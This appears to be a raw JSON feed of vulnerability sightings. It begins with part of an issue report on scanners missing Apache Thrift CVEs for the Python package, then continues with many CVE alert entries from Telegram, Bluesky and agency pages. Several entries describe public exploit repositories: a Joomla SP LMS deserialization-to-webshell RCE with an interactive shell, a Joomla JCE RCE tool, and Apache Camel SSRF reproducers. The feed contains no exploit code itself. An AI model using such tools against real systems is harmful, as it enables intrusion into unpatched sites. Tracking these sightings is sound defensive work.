0.22.0\nthrift\nthrift-0.22.0.dist-info\n```\n\nNow scan that image with any purl-matching SCA.\n\n**Expected:** at least CVE-2026-41608, CVE-2026-48586, CVE-2026-43871 reported,\nfixed in `0.24.0`.\n\n**Actual:** zero findings for `thrift`. The SBOM correctly lists\n`thrift 0.22.0 (PyPI)` \u2014 discovery works fine. Only *matching* fails.\n\n---\n\n## Which advisories actually apply to a Python deployment\n\nApache Thrift published 18 advisories fixed in `0.24.0`. **Only three name the\nPython bindings.** These are the ones a PyPI `thrift` install is exposed to:\n\n| CVE | Bindings named in the advisory | CVSS |\n|---|---|---|\n| CVE-2026-41608 | **Python** only | 7.5 |\n| CVE-2026-48586 | C++, Java, **Python**, Go, D, C/GLib | 7.5 |\n| CVE-2026-43871 | **Python**, Go, PHP, Java | 7.5 |\n\nAll three: `AV:N/AC:L/PR:N/UI:N/C:N/I:N/A:H` \u2014 remote unauthenticated\ndenial of service against anything deserializing untrusted Thrift payloads.\n\nThe other 15 do **not** apply to a Python deployment. They are C++, c_glib,\nSwift, Rust, Node.js, Go and Java binding bugs \u2014 `TSSLSocket::matchName`,\n`web_server.js`, `TFramedTransport` uint32 overflow, and similar. None of that\ncode ships in the PyPI package.\n\nVerify any of them yourself:\n\n```bash\nfor c in CVE-2026-55971 CVE-2026-58023 CVE-2026-41604 CVE-2026-41602; do\n  curl -s \"https://api.osv.dev/v1/vulns/$c\" | jq -r '\"\\(.id)  \\(.summary)\"'\ndone\n```\n\n```\nCVE-2026-55971  Apache Thrift: C++ ZLIB heap buffer overflow (write) in THeaderTransport::untransform()\nCVE-2026-58023  Apache Thrift: c_glib heap out-of-bounds read in transport\nCVE-2026-41604  Apache Thrift: Swift Range crash in skip()\nCVE-2026-41602  Apache Thrift: Go TFramedTransport uint32 overflow\n```\n\n---\n\n## What a fix should look like\n\nAdd ecosystem/purl mappings **per binding**, driven by the bindings each advisory\nnames in its own text:\n\n```\nCVE-2026-41608  ->  pkg:pypi/thrift                         (< 0.24.0)\nCVE-2026-48586  ->  pkg:pypi/thrift, pkg:maven/org.apache.thrift/libthrift, ...\nCVE-2026-43871  ->  pkg:pypi/thrift, pkg:maven/..., pkg:composer/...\n```\n\n## What a fix should **not** look like\n\nDo not blanket-CPE-match ecosystem packages against `cpe:2.3:a:apache:thrift`.\n\nA scanner that does this reports **all 18** against `thrift 0.22.0`, including\n~14 rated Critical \u2014 because it inherits per-binding CVSS scores from bindings\nthat aren't installed. That is roughly **5\u00d7 over-reported** for a Python\ndeployment, and triaging it back down to the real three costs more time than the\noriginal finding saved.\n\nThe gap here is precision *and* recall: three real findings are missed, and the\nnaive fix would introduce fifteen false ones.\n\n---\n\n## Wider question\n\nApache Thrift is unlikely to be unique. The pattern is: **one upstream project,\nmany language bindings, advisories filed at product level with CPE only**.\nOther multi-binding projects (protobuf, gRPC, Avro, Arrow, ICU, libxml2\nwrappers) plausibly share it.\n\nTwo things that would help anyone consuming this data:\n\n1. A way to report on SBOM components whose only matching advisories are\n   CPE-only \u2014 i.e. *where am I blind right now?*\n2. Systematic per-binding purl mapping where an advisory's text names the\n   affected bindings, rather than case-by-case backfill.\n\n---\n\n*Verified 2026-08-27 against `api.osv.dev`. Everything above uses public APIs and\npublic package data; no scanner output or private environment data is included.*\n", "creation_timestamp": "2026-08-27T11:48:03.312164Z"}, {"uuid": "71fd085e-8e17-4964-ae5e-5c39443628bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48909", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/93601", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48909-Joomla-SP-Exploit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a CerberusMrXi\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-15 20:31:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-48909 - Unauthenticated PHP Object Injection to RCE exploit for Joomla SP LMS extension versions <= 4.1.3. Exploits lmsOrders cookie deserialization to write webshell via Joomla FormattedtextLogger gadget chain. Includes interactive shell, path discovery, and cleanup. For authorized security testing only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-16T12:00:04.960158Z"}, {"uuid": "0ce4125a-934e-4089-8b6d-a0ad790ea226", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48388", "type": "seen", "source": "https://infosec.place/objects/85868638-a851-4125-91d5-967ff3c57d08", "content": "New vulnerability report from Talos:Adobe Photoshop Installation privilege escalation vulnerabilityhttps://talosintelligence.com/vulnerability_reports/TALOS-2026-2360CVE-2026-48388,CVE-2026-48388,CVE-2026-48388", "creation_timestamp": "2026-08-26T15:30:06.893526Z"}, {"uuid": "93b0b687-1ab1-404c-b51d-697436e754c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48564", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T13:48:06.933536Z"}, {"uuid": "b4415496-8975-478c-beac-745af805503a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48561", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T13:48:11.293275Z"}, {"uuid": "9c7ffff9-7d23-4bcb-a108-77fd449527df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48572", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T13:49:58.426215Z"}, {"uuid": "8eebac0f-6b17-4e74-85f8-7768afbe875e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48580", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T13:49:16.342431Z"}, {"uuid": "500a00dd-1d35-4fe2-b7cc-d49241b0ec92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48571", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T13:50:10.490210Z"}, {"uuid": "9832e944-bf3e-470f-b5b7-454ed9cde63d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48581", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T14:15:13.627109Z"}, {"uuid": "7a7a0e01-71e8-457b-a88a-0f7bceb3b902", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48561", "type": "seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mqrfmrs3ge2g", "content": "\ud83d\udea8 VULN: Microsoft Copilot CVE-2026-48561 \u2014 CVSS 9.6 unauthenticated RCE over the network. No creds needed to run code via Copilot. One of the critical fixes in July's record Patch Tuesday. Src: Krebs on Security", "creation_timestamp": "2026-07-16T14:02:54.934546Z"}, {"uuid": "e4300db8-3ec0-41eb-86ab-31b7016ccc96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48489", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqrhjwtk4f2t", "content": "\ud83d\udccc CVE-2026-48489 - Symfony is a PHP framework for web and console applications and a set of reusable PHP components. Prior to 5.4.53, 6.4.41, 7.4.13, and 8.0.13, Default... https://www.cyberhub.blog/cves/CVE-2026-48489", "creation_timestamp": "2026-07-16T14:37:07.202381Z"}, {"uuid": "847bfc4f-0f6e-4c64-a68e-f6518f68fc56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48320", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqrux3g55v2u", "content": "\ud83d\udccc CVE-2026-48320 - ColdFusion is affected by a reflected Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this vulnerability to inject malicious scrip... https://www.cyberhub.blog/cves/CVE-2026-48320", "creation_timestamp": "2026-07-16T18:37:07.297515Z"}, {"uuid": "30347eab-ad9d-4059-ac36-edc47623e32f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48909", "type": "seen", "source": "Telegram/aLUBIgd1oXw2vuhuFf6alCjtWAQyS8DwghI3-yppd5LMZjw", "content": "", "creation_timestamp": "2026-07-16T19:00:04.718730Z"}, {"uuid": "9f7ab8fa-b7be-489a-8274-f73f2dd18184", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48909", "type": "seen", "source": "Telegram/fnq-HCCIjbhzeI4TC1ixQu82pH2CpmWc72Tdnvx0IlMjFVI", "content": "", "creation_timestamp": "2026-07-16T19:00:05.280273Z"}, {"uuid": "5c8dbe23-cd92-4c5a-9f4a-8ddb6b359be5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/99097", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a JCEzploit-CVE-2026-48907\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a CerberusMrXi\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-21 17:58:54\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nJCEzploit is a powerful, fully-automated RCE exploit for Joomla JCE (CVE-2026-48907) featuring interactive shell, batch command execution, file download capability, and proxy support. Built with Python & Rich for penetration testers. Ethical use only. By Sudeepa Wanigarathna.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-22T19:00:03.915791Z"}, {"uuid": "d8694ba3-a082-40fd-8028-32390de57d1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48611", "type": "seen", "source": "Telegram/p9-kuVV3i6o5oyhveGROV08VXkEXAoqv-Qhjrn4X5Lw6frU", "content": "", "creation_timestamp": "2026-07-16T19:00:18.135253Z"}, {"uuid": "f1bacd4f-206f-490d-bbaf-791f325241da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "Telegram/dpmbE18R2X3GFwkSOa6JWFFXWxZYAauVOJ1P4vKBnJxqD5U", "content": "", "creation_timestamp": "2026-07-16T19:00:22.719229Z"}, {"uuid": "edca9d29-2d5b-43e7-82f9-886d4df39ebe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "Telegram/MCIVjT2wGlOhNzGxxI4_zyvBHRQPD_Tsyc6A30C1dkLHGvM", "content": "", "creation_timestamp": "2026-07-16T19:00:17.500373Z"}, {"uuid": "4fc559cc-ce48-481e-bb97-e11a588128b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48611", "type": "seen", "source": "Telegram/HeX7ZwgfClnVMcM_jrebWQOf2GFN8BPONV6LFlglDXbYYrI", "content": "", "creation_timestamp": "2026-07-16T19:00:17.932429Z"}, {"uuid": "b373ef21-95e4-4a35-b2fe-9cf3e4271fa3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "Telegram/Rc0b9T17FJVJElH6QZhazeHK_5sevkoWVsl-YVplQMonaEk", "content": "", "creation_timestamp": "2026-07-16T19:00:19.729901Z"}, {"uuid": "73bdf18c-a5cc-4f22-80b0-337463633e80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "Telegram/Ptfoq-36JIr04842aRlYyiRH2eHGSh16yRBc9X59r84iQ6U", "content": "", "creation_timestamp": "2026-07-16T19:00:13.920032Z"}, {"uuid": "38385e8b-a571-4f6d-ba73-6e2da8972b30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "Telegram/LBqrNkVY4dEwnjUy7Kq7g-cCM4l6IBHTiJls5F94h7vNHE8", "content": "", "creation_timestamp": "2026-07-16T19:00:30.246062Z"}, {"uuid": "b8dc4d2d-9e8b-478f-ae51-29c5a059fcad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "Telegram/fq0maMhZwX_v4zf1yEJlO-15Yj_f-dvHhAV5MWzR2BX43DQ", "content": "", "creation_timestamp": "2026-07-16T19:00:23.416952Z"}, {"uuid": "43061a0b-c9e0-4375-81c4-0cb4e4812bec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "Telegram/A7idi0kvh9U61x1NsB1k_Az9Nt1DpO6JPGXo4mSDE_3-qPQ", "content": "", "creation_timestamp": "2026-07-16T19:00:25.829958Z"}, {"uuid": "d0697c3f-1b3a-43b4-a067-3f93b90b81af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "Telegram/SZb_JVBvbO1kuGQqw92fKjhjyq1os5CUZfiNMsMbLPqln6k", "content": "", "creation_timestamp": "2026-07-16T19:00:25.095920Z"}, {"uuid": "3302eab6-fd56-48e3-9100-dfc0393158ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "Telegram/ItjnC_FoWME3_hAWnOsnrDgRkC5Sqs1SuPvtN2fslLkrh58", "content": "", "creation_timestamp": "2026-07-16T19:00:27.522934Z"}, {"uuid": "b63bff18-059b-4d6b-a905-71d03d0e9e4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "Telegram/wihZfhaQT2qHw0wLZ8sk5tSU7nS9hHHdvUYjPR1ZKZ5oBq0", "content": "", "creation_timestamp": "2026-07-16T19:00:27.670571Z"}, {"uuid": "9d3717dc-2db2-4f19-a810-7dff717d8e85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "Telegram/JkDbnMq7GUm5Q4-RPLqs1gjre-Qc5RO5_Ni4r9-mJNxKuLM", "content": "", "creation_timestamp": "2026-07-16T19:00:27.121135Z"}, {"uuid": "cd3d4b77-bbde-4be8-b6b2-265dafaf65af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "Telegram/wihZfhaQT2qHw0wLZ8sk5tSU7nS9hHHdvUYjPR1ZKZ5oBq0", "content": "", "creation_timestamp": "2026-07-16T19:00:27.632423Z"}, {"uuid": "0d06c118-4659-439b-935a-9ea0940200d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "Telegram/Go2mbO6T6ENYXGQQscwFrV9HUbwocawJhfgUeLLUItaC9Ko", "content": "", "creation_timestamp": "2026-07-16T19:00:27.912863Z"}, {"uuid": "f42e9f2c-a22c-4c8e-9e8e-14b11d138f38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "Telegram/nGUef-_pYu8KO-rMrIwqVNvY0EtG-w43zRe8aDF3SYsHftA", "content": "", "creation_timestamp": "2026-07-16T19:00:29.625753Z"}, {"uuid": "46cf4004-a97a-4511-ba4d-82304375621c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48024", "type": "published-proof-of-concept", "source": "https://t.me/bdufstecru/3406", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0439 cluster.unmerge_info() \u0438 process_files_from_worker() \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0434\u043b\u044f \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0443\u0433\u0440\u043e\u0437 Wazuh \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0432\u0435\u0440\u043d\u044b\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435\u043c \u0438\u043c\u0435\u043d\u0438 \u043f\u0443\u0442\u0438 \u043a \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0443. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434\n\nBDU:2026-12055\nCVE-2026-48024\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://github.com/wazuh/wazuh/security/advisories/GHSA-gh4h-fx78-q8xc\nhttps://github.com/wazuh/wazuh/commit/88fc89fdfb1bf37b9d826e9c281a3d22655733de", "creation_timestamp": "2026-08-24T17:00:04.520852Z"}, {"uuid": "74b9561b-42a1-4fab-9107-89c8cfef6972", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48909", "type": "published-proof-of-concept", "source": "Telegram/fnq-HCCIjbhzeI4TC1ixQu82pH2CpmWc72Tdnvx0IlMjFVI", "content": "", "creation_timestamp": "2026-07-17T00:00:25.882417Z"}, {"uuid": "44547c23-13f1-4030-84ac-4d76e4f77ccc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48909", "type": "published-proof-of-concept", "source": "Telegram/aLUBIgd1oXw2vuhuFf6alCjtWAQyS8DwghI3-yppd5LMZjw", "content": "", "creation_timestamp": "2026-07-17T00:00:26.072576Z"}, {"uuid": "0988c7ea-6d42-40c0-b219-ceed9d73a40b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48853", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mtwgngkcbk25", "content": "CVE-2026-48853 - grpc\nElixir gRPC versions 0.4.0 to 1.0.0 are vulnerable to unauthenticated code execution and denial of service attacks. An attacker can crash the server by exhausting its atom table or execute\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#grpc #Hex #CVE #infosec", "creation_timestamp": "2026-08-25T18:20:04.314290Z"}, {"uuid": "0fffe0b4-ad4b-4c5b-8170-153661eb7135", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48561", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqspremnhg2f", "content": "\ud83d\udccc CVE-2026-48561 - Improper neutralization of special elements used in a command ('command injection') in Microsoft Copilot allows an unauthorized attacker to execute co... https://www.cyberhub.blog/cves/CVE-2026-48561", "creation_timestamp": "2026-07-17T02:37:06.654609Z"}, {"uuid": "4be1b1ca-be65-4f97-923f-1277827262f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48334", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqsrgzo4ai26", "content": "\ud83d\udccc CVE-2026-48334 - Illustrator is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user... https://www.cyberhub.blog/cves/CVE-2026-48334", "creation_timestamp": "2026-07-17T03:07:06.919656Z"}, {"uuid": "2aec5d1d-9ff1-4ee4-9037-4ff8fe5de571", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48564", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqtdv3voih2t", "content": "\ud83d\udccc CVE-2026-48564 - Heap-based buffer overflow in Windows DHCP Server allows an authorized attacker to execute code over a network. https://www.cyberhub.blog/cves/CVE-2026-48564", "creation_timestamp": "2026-07-17T08:37:06.524154Z"}, {"uuid": "5fd29926-bef6-4274-8d6b-639901792466", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48203", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3mqtmpuvf562o", "content": "Apache Camel's Solr routes have a flaw (CVE-2026-48203) that lets an outside web request inject search parameters and make the server fetch attacker URLs.\n\nCISA rates it 9.1; Apache says medium. A public reproducer is out.\n\nFix: upgrade to 4.14.8 / 4.18.3 / 4.21.0.", "creation_timestamp": "2026-07-17T11:15:14.882871Z"}, {"uuid": "a0e178b1-4726-4d6c-8f60-89a3f98260e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48275", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqtpmn4w4q2f", "content": "\ud83d\udccc CVE-2026-48275 - Illustrator is affected by an Untrusted Search Path vulnerability that could result in arbitrary code execution in the context of the current user. Ex... https://www.cyberhub.blog/cves/CVE-2026-48275", "creation_timestamp": "2026-07-17T12:07:07.158517Z"}, {"uuid": "7d6247bb-5ee8-44e4-b021-240c85a65288", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48350", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqtrcbbgck2t", "content": "\ud83d\udccc CVE-2026-48350 - Animate is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could result in arbitrary ... https://www.cyberhub.blog/cves/CVE-2026-48350", "creation_timestamp": "2026-07-17T12:37:12.041311Z"}, {"uuid": "de127130-6064-43d9-b068-768e78ab99a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48203", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/93827", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #SSRF #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48203\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a oscerd\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Java\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-17 10:20:49\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nReproducer for CVE-2026-48203: Apache Camel camel-solr SolrParam./SolrField. header injection enabling Solr document-field injection and SSRF via the shards parameter (fixed in 4.14.8/4.18.3/4.21.0)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-17T13:00:04.835471Z"}, {"uuid": "6fdf170d-cce2-44dc-89cf-a9d20c6a89b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48205", "type": "seen", "source": "https://t.me/GithubRedTeam/93864", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #SSRF #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48205\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a oscerd\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Java\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-17 16:03:58\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nReproducer for CVE-2026-48205: Apache Camel camel-dns dns.* header injection redirecting DNS queries to an attacker-controlled resolver (SSRF via DNS) and enabling internal-hostname reconnaissance (fixed in 4.14.8/4.18.3/4.21.0)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-17T17:00:04.123040Z"}, {"uuid": "45318f96-9f2a-407c-b7a0-69b26f4a1794", "vulnerability_lookup_origin": 